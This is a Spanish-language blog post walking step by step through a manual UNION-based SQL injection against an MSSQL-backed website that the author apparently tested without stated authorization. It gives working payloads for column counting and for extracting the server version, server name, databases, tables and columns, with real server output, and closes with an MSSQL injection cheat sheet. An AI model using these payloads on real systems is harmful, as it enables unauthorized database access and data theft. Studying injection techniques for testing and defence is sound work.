Inyección SQL divertida 2 — MSSQL

_Y000_
5 min readMay 28, 2021

En esta ocasión me gustaría relatar paso a paso otra de las inyecciones que mas me han gustado

Se trata de un sitio que me llegó de parte de un colega para testear juntos!

El parametro en donde se hace el ataque sirve para mostrar un documento en PDF y es exactamente con esto que nos guiamos para descubrir cuantas columnas vamos a tener para esta inyección!

Empezamos!

Primero tenemos el link

site/ejemplo/parametro=25527

Con esto estamos viendo que el sitio web funciona correctamente!.. pero como pasa en la mayoría de sitios vulnerables a inyección sql, basta con agregar un ' al final del parametro para ver un error SQL

Error:

site/ejemplo/parametro=25527'

Ahora que nos aseguramos que el sitio es vulnerable y conocemos la base de datos a la que nos estamos enfrentando, que en este caso es MSSQL, vamos a detectar el numero de columnas, para esto vamos a utilizar la función ORDER BY.

Detectando numero de columnas

Utilizando la función ya mencionada hacemos un primer testeo para verificar si el sitio nos permite usar este método de detección de columnas.

lo primero que vemos es que al utilizar order by 1 el sitio sigue funcionando de manera normal pero al tener order by 100 todo cae y nos muestra el error, esto es un muy buen camino, significa que podremos usar este método para detectar, ejemplos:

site/ejemplo/parametro=-25527 order by 1 --

Como mencionamos anteriormente al tener order by 1 el sitio sigue funcionando correctamente

site/ejemplo/parametro=-25527 order by 100 --

Pero al tener order by 100 nos muestra el error.

Para encontrar correctamente el numero de columnas tenemos que acercarnos al valor mas cerca antes de que nos muestre el error, Esto lo explico mas a detalle en mis escritos acerca de inyecciones sql manuales, si no los has leído te recomiendo que los revises por que te pueden servir para entender mejor esta parte.

Ejemplo:

Order by 1 ---> sin error
Order by 2 ---> sin error
Order by 3 ---> sin error
Order by 4 ---> error

Esto significa que el sitio tiene 3 columnas.

Regresando al sitio vulnerable, éste tiene 47 columnas

site/ejemplo/parametro=-25527 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47 --

Como podemos ver, al agregar un union select con las 47 columnas nos cambia el mensaje del error y lo mas interesante es que nos aparecen 2 números que están dentro del circulo rojo.

Estos números son las columnas vulnerables, y es en ellos en donde vamos a introducir las sentencias para mostrar la información de la base de datos!

site/ejemplo/parametro=-25527 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,'_Y000_ LuisMadero',26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47 --

Como podemos observar, la columna numero 25 nos permite escribir y recibir datos de la base de datos y con esa columna trabajaremos!

Version

site/ejemplo/parametro=-25527 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,@@version,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47 --
message: Error de conversión al convertir el valor nvarchar 'Microsoft SQL Server 2008 R2 (RTM) - 10.50.1600.1 (X64) 
Apr 2 2010 15:48:46
Copyright (c) Microsoft Corporation
Standard Edition (64-bit) on Windows NT 6.1 <X64> (Build 7601: Service Pack 1)
' al tipo de datos smallint. (severity 16)

Ahora tenemos la version de la base de datos!

Database

site/ejemplo/parametro=-25527 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,(select top 1  name FROM master..sysdatabases),26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47--

Ahora, Para sacar el nombre de la base de datos estoy usando:

(select top 1 name FROM master..sysdatabases)

Ya que la sintaxis de la función vulnerable de la base de datos no me permite reflejar mas de un valor, ni concatenando.

Como resultado me da que el nombre de la base de datos es “ADPR”.

@@Servername

Para conocer este valor solo utilizamos el siguiente payload

-25527UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,@@SERVERNAME,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47

Enumerano Tablas

Para enumerar las tablas fue un poco complicado encontrar un payload ya que, como mencioné antes, esta base de datos no me permite mostrar mas de un resultado al mismo tiempo, con este payload:

-25527UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,table_name,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47 from (select top 1 table_name from information_schema.tables order by 1) as a order by 1 desc--

Estamos utilizando “top 1” para enumerar esa tabla, en este caso el numero 1 representa la tabla numero 1 en esa base de datos.

en este caso. la tabla se llama “_CDLA_Partidos”

Enumerando Columnas

Para esto usamos una variante del payload anterior, pero ahora nos estamos enfocando en enumerar las columnas de esa Tabla.

-25527UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,column_name,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47 from (select top 1 column_name from information_schema.columns where table_name='_CDLA_Partidos' order by 1) as 1 order by 1 desc--

Siguiendo la misma logica, al cambiar el numero de “top” nos muestra la siguiente columna.

El nombre de la primer columna se llama “Prtd_IDPartidos”

NOTA: Dejaré esta inyección hasta aquí y no mostraré tanta información, ya que no quiero comprometer el sitio. El nombre de las tablas y columnas dicen mucho…

MSSQL SQL INJECTION CHEAT-CHEET

--           :     Comment Type 1
--+ : Comment Type 2
--+- : SQL Comment
/**/ : Inline Comment
;%00 : Null Byte
@@version : Current Version
user_name() : Current User
user : Current User
db_name() : Current Database
@@SERVERNAME : Hostname
Tablesunion select table_name from (select top 1 table_name from information_schema.tables order by 1) as 1 order by 1 desc--Columnsunion select column_name from (select top 1 column_name from information_schema.columns where table_name='table' order by 1) as 1 order by 1 desc--Dump infounion select culumn form table--

--

--

_Y000_

Hola, Bienvenido a mi perfil de Medium! Soy Y000! 😊 ¿Quién soy? 🤔 Bueno… soy yo jaja soy solo un apasionado por la seguridad informatica.